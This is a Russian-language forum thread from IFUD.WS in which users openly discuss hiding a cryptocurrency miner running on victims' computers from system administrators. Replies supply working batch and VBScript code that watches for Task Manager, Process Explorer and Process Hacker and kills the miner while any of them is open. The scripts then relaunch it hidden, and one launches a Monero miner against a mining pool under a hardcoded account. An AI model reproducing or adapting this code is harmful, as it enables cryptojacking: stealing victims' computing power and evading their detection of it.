1. Этот сайт использует файлы cookie. Продолжая пользоваться данным сайтом, Вы соглашаетесь на использование нами Ваших файлов cookie. Узнать больше.
Приветствуем вас,Гость, на форуме IFUD.WS. Обязательно рекомендуется к прочтению правила форума http://ifud.ws/threads/obnovleno-pravila-foruma.7759

Диспетчер задач

Тема в разделе "Помощь по всем вопросам.", создана пользователем @$$@$$in, 5 июн 2016.

  1. TopicStarter Overlay
    @$$@$$in

    @$$@$$in

    Регистрация:
    27 ноя 2012
    Сообщения:
    271
    Симпатии:
    62
    Как сделать так чтобы процесс сворачивался при открытии диспетчера задач и возобновлялся при его ( диспетчер задач ) сворачивании.


    P.S.// Задача скрыть ( майнинг ) нагрузку на процессор от глаз админа.
     
  2. ResH

    ResH Команда форума

    Регистрация:
    26 июл 2012
    Сообщения:
    1.866
    Симпатии:
    2.330
    А нельзя просто инжектировать в другой процесс ?
    Легче так чем как ты написал и боюсь такое почти нереальное реализовать
     
  3. Agulzex

    Agulzex

    Регистрация:
    23 окт 2012
    Сообщения:
    415
    Симпатии:
    375
    пользуюсь скрытием процесса и все
     
  4. TopicStarter Overlay
    @$$@$$in

    @$$@$$in

    Регистрация:
    27 ноя 2012
    Сообщения:
    271
    Симпатии:
    62
    В майнинге Plazma Rat реализованна эта функция, помню пару дней тупил пытаясь запустить там майнинг одновременно наблюдая за нагрузкой на процессор и нечего не запускалось.
    Оказывается в Plazma Rat он выключает майнинг когда открываешь диспетчер задач и он включается на 100% когда сворачиваешь д.з.

    Но теперь задача майнинга форков которые Plazma Rat не поддерживает .

    Скрыть процесс не проблема и снизить нагрузку на 50% или 20% тоже не проблема чтобы палева не было, но я вот подумал может есть какой то скрипт например с помощью Visual Basic который реализует функцию выключение при открытии диспетчера задач как у Plazma Rat.

    Хочется все таки на все 100% использовать майнинг) а не на 50 или 20
     
  5. Agulzex

    Agulzex

    Регистрация:
    23 окт 2012
    Сообщения:
    415
    Симпатии:
    375
    Не знаю то ли ты имел ввиду. Но можешь от этого отталкиваться. Весь код писать за тебя не буду. основной метод скинул.
    Выполнен код на Delphi. Если приспичит напишу на С

     
    • Like Like x 1
  6. TopicStarter Overlay
    @$$@$$in

    @$$@$$in

    Регистрация:
    27 ноя 2012
    Сообщения:
    271
    Симпатии:
    62
    Спасибо за код братан , понять бы ещё как его юзать ))) в общем от безисходности создал четыре билда с разными потоками ))) дабы избежать палева придётся подбирать к каждой жертве свой билд ( пока не надоест, а когда надоест скорее всего забью и прогружу на максимальном потоке майнер)
     
  7. Ryba_fjdj3

    Ryba_fjdj3

    Регистрация:
    16 июл 2017
    Сообщения:
    6
    Симпатии:
    0
    А можно пожалуйста в лс. Скомпилить сам смогу.
     
  8. 0ver1oad

    0ver1oad

    Регистрация:
    25 мар 2017
    Сообщения:
    58
    Симпатии:
    12
    У меня есть батник такой
     
  9. timbo

    timbo

    Регистрация:
    10 фев 2017
    Сообщения:
    2
    Симпатии:
    0
    можешь в личку скинуть батник?
     
  10. Black Arrow

    Black Arrow

    Регистрация:
    3 фев 2017
    Сообщения:
    81
    Симпатии:
    42
    Вообще лучше ныкать майнер не только от шиндовского диспетчера, но еще и от всяких там ProcHack-ов или ProcExp-ов.
    hideminer.BAT:

    @Echo off
    SETLOCAL EnableExtensions
    :start
    set EXE=taskmgr.exe
    set EXE1=Taskmgr.exe
    set EXE2=procexp64.exe
    set EXE3=ProcessHacker.exe
    FOR /F %%x IN ('tasklist /NH /FI "IMAGENAME eq %EXE%"') DO IF %%x == %EXE% goto Found
    FOR /F %%x IN ('tasklist /NH /FI "IMAGENAME eq %EXE1%"') DO IF %%x == %EXE1% goto Found
    FOR /F %%x IN ('tasklist /NH /FI "IMAGENAME eq %EXE2%"') DO IF %%x == %EXE2% goto Found
    FOR /F %%x IN ('tasklist /NH /FI "IMAGENAME eq %EXE3%"') DO IF %%x == %EXE3% goto Found
    goto NotFound
    :NotFound
    timeout /t 1 /nobreak
    cls
    goto checkMINE
    :Found
    taskkill /F /IM miner.exe
    timeout /t 1 /nobreak
    cls
    goto start
    :checkMINE
    set prog=miner.exe
    FOR /F %%x IN ('tasklist /NH /FI "IMAGENAME eq %prog%"') DO IF %%x == %prog% goto MineON
    goto MineOFF
    :MineON
    CLS
    goto start
    :MineOFF
    start C:\ProgramData\Windows\Батник с параметрами запуска майнера.bat (или vbs)
    goto start

    hidebat.VBS:

    Set WshShell = CreateObject("WScript.Shell")
    WshShell.Run chr(34) & "C:\ProgramData\Windows\hideminer.bat" & Chr(34), 0
    Set WshShell = Nothing

    Примерно так, где C:\ProgramData\Windows\ - путь корневой папки майнера, miner.exe - название майнера, а hidebat.vbs - скрипт для сокрытия от чужих взоров появляющейся консольки при запуске батника (Моно и без этого, это уж кому как...).
     
  11. 0ver1oad

    0ver1oad

    Регистрация:
    25 мар 2017
    Сообщения:
    58
    Симпатии:
    12
    Или на vbs
    Код:
    Set WshShell = CreateObject("WScript.Shell")
    Set WshShell = Nothing
    
    On error resume next
    Set WshShell = WScript.CreateObject("WScript.Shell")
    Set objWMIService = GetObject("winmgmts:\\.\root\cimv2")
    
    ' Cores Counting
    Const wbemFlagReturnImmediately = &h10
    Const wbemFlagForwardOnly = &h20
    strComputer = "."
    
       Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\CIMV2")
       Set colItems = objWMIService.ExecQuery("SELECT * FROM Win32_Processor", "WQL", _
                                              wbemFlagReturnImmediately + wbemFlagForwardOnly)
    cores = 1
    For Each objItem In colItems
        cores = cores + objItem.NumberOfLogicalProcessors
    Next
    cores = 1
    ' General Launching and Checking
    do
    WScript.Sleep 500
    ' Task Manager
    Set taskcolitem = objWMIService.ExecQuery("Select * from Win32_Process")
    taskmgrisrun=false
    For Each objItem in taskcolitem
    If objItem.Name = "Taskmgr.exe" OR objItem.Name = "taskmgr.exe" OR objItem.Name = "ProcessHacker.exe" OR objItem.Name = "GTA5.exe" Then
    taskmgrisrun = True
    Exit For
    End If
    Next
    ' End Task Manager
    Running = False
    Set colItems = objWMIService.ExecQuery("Select * from Win32_Process")
    For Each objItem in colItems
    If objItem.Name = "miner.exe" Then
    Running = True
    Set thisprocess=objItem
    Exit For
    End If
    Next
    If taskmgrisrun Then
        If Running Then
            thisprocess.Terminate
        End if
        If Not Running Then
            Running=True
        End if
    End if
    If Not Running Then
        WScript.Sleep 500
        WshShell.Run "miner -a cryptonight -o stratum+tcp://xmr.pool.minergate.com:45560 -u 2281337@gmail.com -p x -t" & cores, 0
    End if
    Loop
     
    • Like Like x 1
  12. timbo

    timbo

    Регистрация:
    10 фев 2017
    Сообщения:
    2
    Симпатии:
    0
    Спасибо!!!
     

Поделиться этой страницей

Загрузка...